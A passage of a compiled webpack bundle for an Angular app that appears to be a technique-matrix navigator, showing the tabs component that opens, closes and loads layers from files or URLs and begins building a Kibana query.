mVmZXJzIHRvIHRoZSBtb3N0IHJlYWRhYmxlIHRleHQtY29sb3IgdG8gYXBwZWFyIG9uIHRvcCBvZiB0aGUgY29sb3IuIFxuICogTm90ZTogc29tZSBjb2xvcnMgZG9uJ3QgZGVmaW5lIG9uLWNvbG9ycy4gVGhpcyBpcyBiZWNhdXNlLCBmb3IgdGhlc2UgY29sb3JzLCB0aGV5IGFyZW4ndCBpbnRlbmRlZCB0b1xuICogYXBwZWFyIHdpdGggaW5uZXIgY29udGVudC4gRm9yIGV4YW1wbGUsIFwibGlua1wiIGlzIG9ubHkgaW50ZW5kZWQgdG8gYmUgdXNlZCBmb3IgbGluayB0ZXh0LCB3aGljaCBpbmhlcmVudGx5XG4gKiBjYW5ub3QgaGF2ZSBpbm5lciB0ZXh0LlxuICovXG4udGFicyB7XG4gIHBhZGRpbmctbGVmdDogMDtcbiAgbWFyZ2luLWJvdHRvbTogMDtcbiAgbGlzdC1zdHlsZTogbm9uZTtcbiAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gIG1hcmdpbi10b3A6IDA7XG59XG4udGFicyA+IGxpIHtcbiAgYm90dG9tOiAwO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBmbG9hdDogbGVmdDtcbiAgbWFyZ2luLWJvdHRvbTogMDtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICBoZWlnaHQ6IDIzcHg7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgZGlzcGxheTogYmxvY2s7XG4gIHBhZGRpbmc6IDEwcHggMTVweDtcbiAgbWFyZ2luLXJpZ2h0OiAycHg7XG4gIGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICBib3JkZXItcmFkaXVzOiA0cHggNHB4IDAgMDtcbn1cbi50YWJzID4gbGkgYSB7XG4gIGZvbnQtZmFtaWx5OiBcIlJvYm90byBNb25vXCIsIG1vbm9zcGFjZTtcbiAgZm9udC1zaXplOiAxNHB4O1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gIGNvbG9yOiBibGFjaztcbn1cbi50YWJzID4gbGkgaW5wdXRbdHlwZT10ZXh0XSB7XG4gIGZvbnQtZmFtaWx5OiBcIlJvYm90byBNb25vXCIsIG1vbm9zcGFjZTtcbiAgZm9udC1zaXplOiAxNHB4O1xuICBib3JkZXI6IG5vbmU7XG4gIGJhY2tncm91bmQ6IG5vbmU7XG59XG4udGFicyA+IGxpIGlucHV0W3R5cGU9dGV4dF06bm90KDpkaXNhYmxlZCk6Zm9jdXMge1xuICBiYWNrZ3JvdW5kOiAjZjFmMWYxO1xufVxuLnRhYnMgPiBsaS5hZGRUYWIge1xuICBmb250LXNpemU6IDEycHQ7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgY29sb3I6ICNhYWFhYWE7XG59XG4udGFicyA+IGxpLmFkZFRhYjpob3ZlciB7XG4gIGNvbG9yOiBibGFjaztcbn1cbi50YWJzID4gbGk6aG92ZXI6bm90KC5hY3RpdmUpLCAudGFicyA+IGxpOmZvY3VzOm5vdCguYWN0aXZlKSB7XG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbn1cbi50YWJzID4gbGk6aG92ZXI6bm90KC5hY3RpdmUpOm5vdCguYWRkVGFiKSwgLnRhYnMgPiBsaTpmb2N1czpub3QoLmFjdGl2ZSk6bm90KC5hZGRUYWIpIHtcbiAgYm9yZGVyLWNvbG9yOiAjZGRkICNkZGQgI2YxZjFmMSAjZGRkO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjFmMWYxO1xufVxuLnRhYnMgPiBsaSA+IC50YWJFbnVtZXJhdG9yIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB0b3A6IC0xMHB4O1xuICByaWdodDogNXB4O1xuICBwYWRkaW5nOiAycHggNHB4O1xuICBiYWNrZ3JvdW5kOiB5ZWxsb3c7XG4gIGJvcmRlci1yYWRpdXM6IDVweDtcbn1cbi50YWJzID4gbGkuYWN0aXZlIHtcbiAgY29sb3I6ICM1NTU7XG4gIGN1cnNvcjogZGVmYXVsdDtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2RkZDtcbiAgYm9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG59XG4udGFiczpiZWZvcmUge1xuICBkaXNwbGF5OiB0YWJsZTtcbiAgY29udGVudDogXCIgXCI7XG59XG4udGFiczphZnRlciB7XG4gIGRpc3BsYXk6IHRhYmxlO1xuICBjbGVhcjogYm90aDtcbiAgY29udGVudDogXCIgXCI7XG59XG5cbi50YWItY2xvc2Uge1xuICBtYXJnaW4tbGVmdDogMTBweDtcbiAgY29sb3I6IGdyYXk7XG4gIHRleHQtYWxpZ246IHJpZ2h0O1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG4udGFiLWNsb3NlOmhvdmVyIHtcbiAgY29sb3I6IGJsYWNrO1xufVxuXG4ubmV3VGFiIHtcbiAgcGFkZGluZzogNSUgMjAlO1xufVxuXG4uYm9yZGVyIHtcbiAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbn1cblxuLmxheWVyT3BUYWJsZSB0ZCB7XG4gIHBhZGRpbmc6IDVweDtcbn1cblxuLmhlYWRlcnMtYWxpZ24gLm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyLXRpdGxlLFxuLmhlYWRlcnMtYWxpZ24gLm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyLWRlc2NyaXB0aW9uIHtcbiAgZmxleC1iYXNpczogMDtcbn1cblxuLmhlYWRlcnMtYWxpZ24gLm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyLWRlc2NyaXB0aW9uIHtcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xufVxuXG5pbnB1dFt0eXBlPWZpbGVdIHtcbiAgcGFkZGluZzogNXB4O1xuICBtYXJnaW46IDVweDtcbiAgd2lkdGg6IDMwMHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjFmMWYxO1xuICBib3JkZXItcmFkaXVzOiAwcHg7XG59XG5pbnB1dFt0eXBlPWZpbGVdOmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2RkZDtcbn1cblxuLmhlbHBCdXR0b25Db250YWluZXIge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIG1hcmdpbi10b3A6IDIwcHg7XG59XG5cbi5oZWFkZXIge1xuICB0ZXh0LWFsaWduOiByaWdodDtcbn1cbi5oZWFkZXIgZGl2IHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG4uaGVhZGVyIC5sb2dvIHtcbiAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gIG1hcmdpbi1yaWdodDogNDBweDtcbiAgcGFkZGluZzogNXB4O1xuICBoZWlnaHQ6IDJleDtcbn1cbi5oZWFkZXIgLmxvZ28gYSB7XG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgY29sb3I6ICNiMDFhMWE7XG4gIGZvbnQtd2VpZ2h0OiA1MDA7XG59XG4uaGVhZGVyIC5oZWxwQnV0dG9uIHtcbiAgcG9zaXRpb246IGZpeGVkO1xuICB0b3A6IDA7XG4gIHJpZ2h0OiAwO1xuICBiYWNrZ3JvdW5kOiB3aGl0ZTtcbiAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgYm9yZGVyLWNvbG9yOiAjZGRkO1xuICBib3JkZXItd2lkdGg6IDAgMCAxcHggMXB4O1xuICBib3JkZXItcmFkaXVzOiAwIDAgMCA1MCU7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgd2lkdGg6IDJleDtcbiAgaGVpZ2h0OiAyZXg7XG4gIHBhZGRpbmc6IDVweDtcbn1cbi5oZWFkZXIgLmhlbHBCdXR0b246aG92ZXIge1xuICBiYWNrZ3JvdW5kOiAjZjFmMWYxO1xufVxuXG4uaW5wdXRUYWJsZSB7XG4gIHdpZHRoOiAxMDAlO1xuICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xufVxuLmlucHV0VGFibGUgdHIge1xuICB0cmFuc2l0aW9uOiBlYXNlIDAuMnM7XG4gIHdpZHRoOiAxMDAlO1xuICBtYXJnaW4tdG9wOiA1cHg7XG4gIGJvcmRlci1yYWRpdXM6IDVweDtcbn1cbi5pbnB1dFRhYmxlIHRyLmZlYXR1cmVSb3c6aG92ZXIge1xuICBiYWNrZ3JvdW5kOiAjZjJmMmYyO1xufVxuLmlucHV0VGFibGUgdHIgdGQge1xuICB0ZXh0LWFsaWduOiBsZWZ0O1xuICB3aWR0aDogMSU7XG4gIHBhZGRpbmc6IDVweDtcbn1cbi5pbnB1dFRhYmxlIHRyIHRkLmZlYXR1cmVSb3ctYnV0dG9uIGltZyB7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gIG1hcmdpbi1ib3R0b206IDJweDtcbn1cbi5pbnB1dFRhYmxlIHRyIHRkLnN1YmZlYXR1cmU6Zmlyc3QtY2hpbGQge1xuICBib3JkZXItbGVmdDogMXB4IHNvbGlkICNkZGQ7XG59XG4uaW5wdXRUYWJsZSB0ciB0ZC5zdWJmZWF0dXJlLmxhc3Qge1xuICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2RkZDtcbn1cblxuI2xheWVybGlua2ZpZWxkIHtcbiAgY29sb3I6IHJnYmEoMCwgMCwgMCwgMC40Mik7XG59XG4jbGF5ZXJsaW5rZmllbGQgLm1hdC1mb3JtLWZpZWxkLXVuZGVybGluZSB7XG4gIGJhY2tncm91bmQ6IG5vbmU7XG4gIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0byByaWdodCwgcmdiYSgwLCAwLCAwLCAwLjQyKSAwLCByZ2JhKDAsIDAsIDAsIDAuNDIpIDMzJSwgdHJhbnNwYXJlbnQgMCk7XG4gIGJhY2tncm91bmQtc2l6ZTogNHB4IDFweDtcbiAgYmFja2dyb3VuZC1yZXBlYXQ6IHJlcGVhdC14O1xufVxuI2xheWVybGlua2ZpZWxkICNsYXllckxpbmsge1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5sYXllckxpbmtzIHtcbiAgbGlzdC1zdHlsZTogbm9uZTtcbiAgcGFkZGluZy1sZWZ0OiAwO1xuICBtYXJnaW46IDA7XG59Il19 */" + +/***/ }), + +/***/ "./src/app/tabs/tabs.component.ts": +/*!****************************************!*\ + !*** ./src/app/tabs/tabs.component.ts ***! + \****************************************/ +/*! exports provided: TabsComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TabsComponent", function() { return TabsComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _dynamic_tabs_directive__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./dynamic-tabs.directive */ "./src/app/tabs/dynamic-tabs.directive.ts"); +/* harmony import */ var _tab_tab_component__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../tab/tab.component */ "./src/app/tab/tab.component.ts"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../data.service */ "./src/app/data.service.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../config.service */ "./src/app/config.service.ts"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _angular_common_http__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! @angular/common/http */ "./node_modules/@angular/common/fesm5/http.js"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; +// https://embed.plnkr.co/wWKnXzpm8V31wlvu64od/ + + + + //import the DataService component so we can use it + + + +var TabsComponent = /** @class */ (function () { + function TabsComponent(_componentFactoryResolver, viewModelsService, dataService, http, configService) { + this._componentFactoryResolver = _componentFactoryResolver; + this.viewModelsService = viewModelsService; + this.dataService = dataService; + this.http = http; + this.configService = configService; + this.ds = null; + this.vms = null; + this.techniques = []; + this.dynamicTabs = []; + this.gradient = null; + this.coloring = null; + this.comments = null; + this.enabledness = null; + this.filters = null; + this.scoreExpression = ""; + this.legendItems = null; + this.loadURL = ""; + // ___ _ _ ___ _____ ___ __ __ ___ _______ ___ _ _ ___ _____ ___ _ _____ ___ ___ ___ _____ _ _ ___ ___ + // / __| | | / __|_ _/ _ \| \/ |_ _|_ / __| \ | \| | /_\ \ / /_ _/ __| /_\_ _/ _ \| _ \ / __|_ _| | | | __| __| + // | (__| |_| \__ \ | || (_) | |\/| || | / /| _|| |) | | .` |/ _ \ V / | | (_ |/ _ \| || (_) | / \__ \ | | | |_| | _|| _| + // \___|\___/|___/ |_| \___/|_| |_|___/___|___|___/ |_|\_/_/ \_\_/ |___\___/_/ \_\_| \___/|_|_\ |___/ |_| \___/|_| |_| + // layerLinkURL = ""; //the user inputted layer link which will get parsed into a param + this.layerLinkURLs = []; + this.customizedConfig = []; + this.copiedRecently = false; // true if copyLayerLink has been called recently -- reverts to false after 2 seconds + console.log("tabs component initializing"); + this.ds = dataService; + this.viewModelsService = viewModelsService; + } + TabsComponent.prototype.ngAfterContentInit = function () { + var _this = this; + this.ds.getConfig().subscribe(function (config) { + _this.viewModelsService.domain = config["domain"]; + // console.log("INITIALIZING APPLICATION FOR DOMAIN: " + this.viewModelsService.domain); + var fragment_value = _this.getNamedFragmentValue("layerURL"); + if (fragment_value && fragment_value.length > 0) { + var first = true; + var _loop_1 = function () { + url = urls_1[_i]; + var self_1 = _this; + var loadInitialVMCallback = function () { + console.log(url); + self_1.loadLayerFromURL(url, first); + first = false; + }; + //vms must load after data service loads data + if (_this.dataService.dataLoaded) { + loadInitialVMCallback(); + } + else { + _this.dataService.onDataLoad(loadInitialVMCallback); + } + }; + var url; + for (var _i = 0, urls_1 = fragment_value; _i < urls_1.length; _i++) { + _loop_1(); + } + if (_this.dynamicTabs.length == 0) + _this.newLayer(); // failed load from url, so create new blank layer + } + else if (config["default_layers"]["enabled"]) { + var first_1 = true; + var _loop_2 = function (url_1) { + var self_2 = _this; + var loadInitialVMCallback = function () { + console.log(url_1); + self_2.loadLayerFromURL(url_1, first_1); + first_1 = false; + }; + //vms must load after data service loads data + if (_this.dataService.dataLoaded) { + loadInitialVMCallback(); + } + else { + _this.dataService.onDataLoad(loadInitialVMCallback); + } + }; + for (var _a = 0, _b = config["default_layers"]["urls"]; _a < _b.length; _a++) { + var url_1 = _b[_a]; + _loop_2(url_1); + } + // this.loadURL = config["default_layer"]["location"] + // console.log(this.loadURL) + // this.loadLayerFromLocalFile(); + if (_this.dynamicTabs.length == 0) + _this.newLayer(); // failed load from url, so create new blank layer + } + else { + _this.newLayer(); + } + var activeTabs = _this.dynamicTabs.filter(function (tab) { return tab.active; }); + // if there is no active tab set, activate the first + if (activeTabs.length === 0) { + _this.selectTab(_this.dynamicTabs[0]); + } + _this.customizedConfig = _this.configService.getFeatureList(); + }); + }; + /** + * Open a new tab + * @param {[type]} title title of new tab + * @param {[type]} template template of content + * @param {[type]} data data to put in template + * @param {Boolean} [isCloseable=false] can this tab be closed? + * @param {Boolean} [replace=false] replace the current tab with the new tab, TODO + * @param {Boolean} [forceNew=false] force open a new tab even if a tab of that name already exists + * @param {Boolean} [dataTable=false] is this a data-table tab? if so tab text should be editable + + */ + TabsComponent.prototype.openTab = function (title, template, data, isCloseable, replace, forceNew, dataTable) { + if (isCloseable === void 0) { isCloseable = false; } + if (replace === void 0) { replace = true; } + if (forceNew === void 0) { forceNew = false; } + if (dataTable === void 0) { dataTable = false; } + if (!template) { + console.error("ERROR: no template defined for tab titled ''", title, "''"); + } + // determine if tab is already open. If it is, just change to that tab + if (!forceNew) { + for (var i = 0; i < this.dynamicTabs.length; i++) { + if (this.dynamicTabs[i].title === title) { + this.selectTab(this.dynamicTabs[i]); + return; + } + } + } + // get a component factory for our TabComponent + var componentFactory = this._componentFactoryResolver.resolveComponentFactory(_tab_tab_component__WEBPACK_IMPORTED_MODULE_2__["TabComponent"]); + // fetch the view container reference from our anchor directive + var viewContainerRef = this.dynamicTabPlaceholder.viewContainer; + // alternatively... + // let viewContainerRef = this.dynamicTabPlaceholder; + // create a component instance + var componentRef = viewContainerRef.createComponent(componentFactory); + // set the according properties on our component instance + var instance = componentRef.instance; + instance.title = title; + instance.template = template; + instance.dataContext = data; + instance.isCloseable = isCloseable; + instance.showScoreVariables = false; + instance.isDataTable = dataTable; + // remember the dynamic component for rendering the + // tab navigation headers + // this.dynamicTabs.push(componentRef.instance as TabComponent); //don't replace + if (!replace || this.dynamicTabs.length === 0) { + this.dynamicTabs.push(componentRef.instance); //don't replace + this.selectTab(this.dynamicTabs[this.dynamicTabs.length - 1]); + } + else { + // find active tab index + for (var i = 0; i < this.dynamicTabs.length; i++) { + if (this.dynamicTabs[i].active) { + this.closeActiveTab(true); //close current and don't let it create a replacement tab + this.dynamicTabs.splice(i, 0, componentRef.instance); //replace + this.selectTab(this.dynamicTabs[i]); + return; + } + } + } + }; + /** + * Select a given tab: deselects other tabs. + * @param {TabComponent} tab tab to select + */ + TabsComponent.prototype.selectTab = function (tab) { + // deactivate all tabs + this.dynamicTabs.forEach(function (tab) { return tab.active = false; }); + // activate the tab the user has clicked on. + tab.active = true; + }; + /** + * close a tab + * @param {TabComponent} tab tab to close + * @param {[type]} allowNoTab=false if true, doesn't select another tab, and won't open a new tab if there are none + */ + TabsComponent.prototype.closeTab = function (tab, allowNoTab) { + if (allowNoTab === void 0) { allowNoTab = false; } + var action = 0; //controls post close-tab behavior + // destroy tab viewmodel + this.viewModelsService.destroyViewModel(tab.dataContext); + for (var i = 0; i < this.dynamicTabs.length; i++) { + if (this.dynamicTabs[i] === tab) { //close this tab + if (this.dynamicTabs[i].active) { //is the tab we're closing currently open?? + if (i == 0 && this.dynamicTabs.length > 1) { //closing first tab, first tab is active, and more tabs exist + action = 1; + } + else if (i > 0) { //closing not first tab, implicitly more tabs exist + action = 2; + } + else { //else closing first tab and no other tab exist + action = 3; + } + } + // remove the tab from our array + this.dynamicTabs.splice(i, 1); + // destroy our dynamically created component again + var viewContainerRef = this.dynamicTabPlaceholder.viewContainer; + // let viewContainerRef = this.dynamicTabPlaceholder; + viewContainerRef.remove(i); + break; + } + } + // post close-tab behavior: select new tab? + if (!allowNoTab) { + switch (action) { + case 0: //should only occur if the active tab is not closed: don't select another tab + break; + case 1: //closing the first tab, more exist + this.selectTab(this.dynamicTabs[0]); // select first tab + break; + case 2: //closing any tab other than the first + this.selectTab(this.dynamicTabs[0]); //select first tab + break; + case 3: //closing first tab and no other tab exist + this.newBlankTab(); //make a new blank tab, automatically opens this tab + break; + default: //should never occur + console.error("post closetab action not specified (this should never happen)"); + } + } + }; + /** + * Close the currently selected tab + * @param {[type]} allowNoTab=false if true, doesn't select another tab, and won't open a new tab if there are none + */ + TabsComponent.prototype.closeActiveTab = function (allowNoTab) { + if (allowNoTab === void 0) { allowNoTab = false; } + var activeTabs = this.dynamicTabs.filter(function (tab) { return tab.active; }); + if (activeTabs.length > 0) { + // close the 1st active tab (should only be one at a time) + this.closeTab(activeTabs[0], allowNoTab); + } + }; + TabsComponent.prototype.getActiveTab = function () { + var activeTabs = this.dynamicTabs.filter(function (tab) { return tab.active; }); + return activeTabs[0]; + }; + // _ ___ _____ ___ ___ _____ _ _ ___ ___ + // | | /_\ \ / / __| _ \ / __|_ _| | | | __| __| + // | |__ / _ \ V /| _|| / \__ \ | | | |_| | _|| _| + // |____/_/ \_\_| |___|_|_\ |___/ |_| \___/|_| |_| + /** + * open a new "blank" tab showing a new layer button and an open layer button + * @param {[type]} replace=false replace the current tab with this blank tab? + */ + TabsComponent.prototype.newBlankTab = function (replace) { + if (replace === void 0) { replace = false; } + this.openTab('new tab', this.blankTab, null, true, replace, true, false); + }; + /** + * create a new help tab + * @param replace=false replace currently open tab? + * @param forceNew=false if false, select currently open help tab if possible + */ + TabsComponent.prototype.newHelpTab = function (replace, forceNew) { + if (replace === void 0) { replace = false; } + if (forceNew === void 0) { forceNew = false; } + if (replace) + this.closeActiveTab(); + this.openTab('help', this.helpTab, null, true, replace, false); + }; + TabsComponent.prototype.newExporterTab = function (vm) { + this.openTab('render: ' + vm.name, this.exporterTab, vm, true, false, true); + }; + /** + * Given a unique root, returns a layer name that does not conflict any existing layers, e.g 'new layer' -> 'new layer 1' + * @param {string} root the root string to get the non-conflicting version of + * @return {string} non-conflicted version + */ + TabsComponent.prototype.getUniqueLayerName = function (root) { + var conflictNumber = 0; + var viewModels = this.viewModelsService.viewModels; + function isInteger(str) { + var n = Math.floor(Number(str)); + return String(n) === str; + } + for (var i = 0; i < viewModels.length; i++) { + if (!viewModels[i].name.startsWith(root)) + continue; + if (viewModels[i].name === root) { //case where it's "new layer" aka "new layer 0" + conflictNumber = Math.max(conflictNumber, 1); + continue; + } + var numberPortion = viewModels[i].name.substring(root.length, viewModels[i].name.length); + //find lowest number higher than existing number + if (isInteger(numberPortion)) { + conflictNumber = Math.max(conflictNumber, Number(numberPortion) + 1); + } + } + // if no layers of this name exist (conflictNumber == 0) just return root + if (conflictNumber != 0) + root = root + conflictNumber; + return root; + }; + /** + * Open a new blank layer tab + */ + TabsComponent.prototype.newLayer = function () { + // find non conflicting name + var name = this.getUniqueLayerName("layer"); + // create and open VM + var vm = this.viewModelsService.newViewModel(name); + this.openTab(name, this.layerTab, vm, true, true, true, true); + }; + /** + * Get a layer score expression variable for a tab + * @param index index of tab + * @return char expression variable + */ + TabsComponent.prototype.indexToChar = function (index) { + var realIndex = 0; + for (var i = 0; i < index; i++) { + if (this.dynamicTabs[i].dataContext) + realIndex++; + } + return String.fromCharCode(97 + realIndex); + }; + /** + * Inverse of indextoChar, maps char to the tab it corresponds to + * @param char score expression variable + * @return tab index + */ + TabsComponent.prototype.charToIndex = function (char) { + // console.log("searching for char", char) + var realIndex = 0; + for (var i = 0; i < this.dynamicTabs.length; i++) { + if (this.dynamicTabs[i].dataContext) { + var charHere = String.fromCharCode(97 + realIndex); + // console.log(charHere, this.dynamicTabs[i].dataContext.name) + realIndex++; + if (charHere == char) + return i; + } + } + }; + /** + * layer layer operation + */ + TabsComponent.prototype.layerByOperation = function () { + // build score expression map, mapping inline variables to their actual VMs + var scoreVariables = new Map(); + var regex = /\b[a-z]\b/g; //\b matches word boundary + var matches = this.scoreExpression.match(regex); + var self = this; + if (matches) { + matches.forEach(function (match) { + // trim + var index = self.charToIndex(match); + // console.log(match, index) + var vm = self.dynamicTabs[index].dataContext; + scoreVariables.set(match, vm); + }); + } + // console.log(scoreVariables); + var layerName = this.getUniqueLayerName("layer by operation"); + try { + var vm = this.viewModelsService.layerLayerOperation(this.scoreExpression, scoreVariables, this.comments, this.gradient, this.coloring, this.enabledness, layerName, this.filters, this.legendItems); + this.openTab(layerName, this.layerTab, vm, true, true, true, true); + } + catch (err) { + console.error(err); + alert("Layer Layer operation error: " + err.message); + } + }; + /** + * Check if there's an error in the score expression (syntax, etc) + * @return error or null if no error + */ + TabsComponent.prototype.getScoreExpressionError = function () { + var self = this; + try { + // build fake scope + var regex = /\b[a-z]\b/g; //\b matches word boundary + var matches = self.scoreExpression.match(regex); + var scope_1 = {}; + if (matches) { + var noMatch_1 = ""; + matches.forEach(function (match) { + // trim + scope_1[match] = 0; + // check if letter is too large + // console.log("chartoindex["+match+"]", self.charToIndex(match)) + if (typeof (self.charToIndex(match)) == "undefined") { + noMatch_1 = "Variable " + match + " does not match any layers"; + } + }); + // console.log(noMatch) + if (noMatch_1.length > 0) + return noMatch_1; + } + var result = math.eval(self.scoreExpression, scope_1); + // console.log(result) + return null; + } + catch (err) { + // console.log(err.message) + return err.message; + } + }; + /** + * open upload new layer prompt + */ + TabsComponent.prototype.openUploadPrompt = function () { + var input = document.getElementById("uploader"); + input.click(); + }; + /** + * Loads an existing layer into a tab + */ + TabsComponent.prototype.loadLayerFromFile = function () { + var input = document.getElementById("uploader"); + if (input.files.length < 1) { + alert("You must select a file to upload!"); + return; + } + this.readJSONFile(input.files[0]); + }; + /** + * Retrieves a file from the input element, + * reads the json, + * and adds the properties to a new viewModel, and loads that viewmodel into a new layer. + */ + TabsComponent.prototype.readJSONFile = function (file) { + var _this = this; + // var input = (document.getElementById("uploader")); + var reader = new FileReader(); + var viewModel = this.viewModelsService.newViewModel("loading layer..."); + reader.onload = function (e) { + var string = String(reader.result); + try { + viewModel.deSerialize(string); + _this.openTab("new layer", _this.layerTab, viewModel, true, true, true, true); + } + catch (err) { + console.error("ERROR: Either the file is not JSON formatted, or the file structure is invalid.", err); + alert("ERROR: Either the file is not JSON formatted, or the file structure is invalid."); + _this.viewModelsService.destroyViewModel(viewModel); + } + }; + reader.readAsText(file); + }; + /** + * attempt an HTTP GET to loadURL, and load the response (if it exists) as a layer. + */ + TabsComponent.prototype.loadLayerFromURL = function (loadURL, replace) { + var _this = this; + // if (!loadURL.startsWith("http://") && !loadURL.startsWith("https://") && !loadURL.startsWith("FTP://")) loadURL = "https://" + loadURL; + this.http.get(loadURL).subscribe(function (res) { + var viewModel = _this.viewModelsService.newViewModel("loading layer..."); + try { + viewModel.deSerialize(res); + console.log("loaded layer from", loadURL); + _this.openTab("new layer", _this.layerTab, viewModel, true, replace, true, true); + } + catch (err) { + console.error(err); + alert("ERROR parsing layer from " + loadURL + ", check the javascript console for more information."); + _this.viewModelsService.destroyViewModel(viewModel); + } + }, function (err) { + console.error(err); + if (err.status == 0) { + // no response + alert("ERROR retrieving layer from " + loadURL + ", check the javascript console for more information."); + } + else { + // response, but not a good one + alert("ERROR retrieving layer from " + loadURL + ", check the javascript console for more information."); + } + }); + }; + /** + * Helper function to track which layerLinkURLs have been added or removed + */ + TabsComponent.prototype.trackByFunction = function (index, obj) { + return index; + }; + /** + * Add a new empty layer link to the layerLinkURLs array + */ + TabsComponent.prototype.addLayerLink = function () { + this.layerLinkURLs.push(""); + }; + /** + * Remove the given layer link URL from layerLinkURLs + * @param {number} index the index to remove + */ + TabsComponent.prototype.removeLayerLink = function (index) { + console.log("removing index", index); + console.log(this.layerLinkURLs); + if (this.layerLinkURLs.length == 1) + this.layerLinkURLs = []; + else + this.layerLinkURLs.splice(index, 1); + console.log(this.layerLinkURLs); + }; + /** + * Convert layerLinkURL to a query string value for layerURL query string + * @return URL such that when opened will create navigator instance with a query String + * specifying layerLinkURL as the URL to fetch the default layer from + */ + TabsComponent.prototype.getLayerLink = function () { + // if (!this.layerLinkURL) return ""; + var str = window.location.href.split("#")[0]; + var join = "#"; //hash first, then ampersand + for (var _a = 0, _b = this.layerLinkURLs; _a < _b.length; _a++) { + var layerLinkURL = _b[_a]; + str += join + "layerURL=" + encodeURIComponent(layerLinkURL); + join = "&"; + } + for (var i = 0; i < this.customizedConfig.length; i++) { + if (this.customizedConfig[i].subfeatures) { + for (var j = 0; j < this.customizedConfig[i].subfeatures.length; j++) { + if (!this.customizedConfig[i].subfeatures[j].enabled) { + str += join + this.customizedConfig[i].subfeatures[j].name + "=false"; + join = "&"; + } + } + } + else { + if (!this.customizedConfig[i].enabled) { + str += join + this.customizedConfig[i].name + "=false"; + join = "&"; + } + } + } + return str; + }; + /** + * Select the layer link field text + */ + TabsComponent.prototype.selectLayerLink = function () { + var copyText = document.getElementById("layerLink"); + console.log(copyText); + console.log(copyText.value); + copyText.select(); + }; + /** + * copy the created layer link to the user's clipboard + */ + TabsComponent.prototype.copyLayerLink = function () { + console.log("attempting copy"); + this.selectLayerLink(); + document.execCommand("Copy"); + this.copiedRecently = true; + var self = this; + window.setTimeout(function () { self.copiedRecently = false; }, 2000); + }; + /** + * Return true if the text is only letters a-z, false otherwise + * @param text text to eval + * @return true if a-z, false otherwise + */ + TabsComponent.prototype.alphabetical = function (text) { + return /^[a-z]+$/.test(text); + }; + /** + * get a key=value fragment value by key + * @param {string} name name of param to get the value of + * @param {string} url optional, if unspecified searches in current window location. Otherwise searches this string + * @return {string} fragment param value + */ + TabsComponent.prototype.getNamedFragmentValue = function (name, url) { + if (!url) + url = window.location.href; + name = name.replace(/[\[\]]/g, "\\$&"); + var regex = new RegExp("[#&]" + name + "(?:=([^&#]*)|&|#|$)", "g"); + //match as many results as exist under the name + var results = []; + var match = regex.exec(url); + while (match != null) { + results.push(decodeURIComponent(match[1].replace(/\+/g, " "))); + match = regex.exec(url); + } + return results; + }; + /** + * attempt an HTTP GET to loadURL, and load the response (if it exists) as a layer. + */ + TabsComponent.prototype.reloadData = function () { + // Get data from Kibana + var _this = this; + var search_query = { + "params": { + "ignoreThrottled": true, + "preference": 1595865940962, + "index": "rtops-*", + 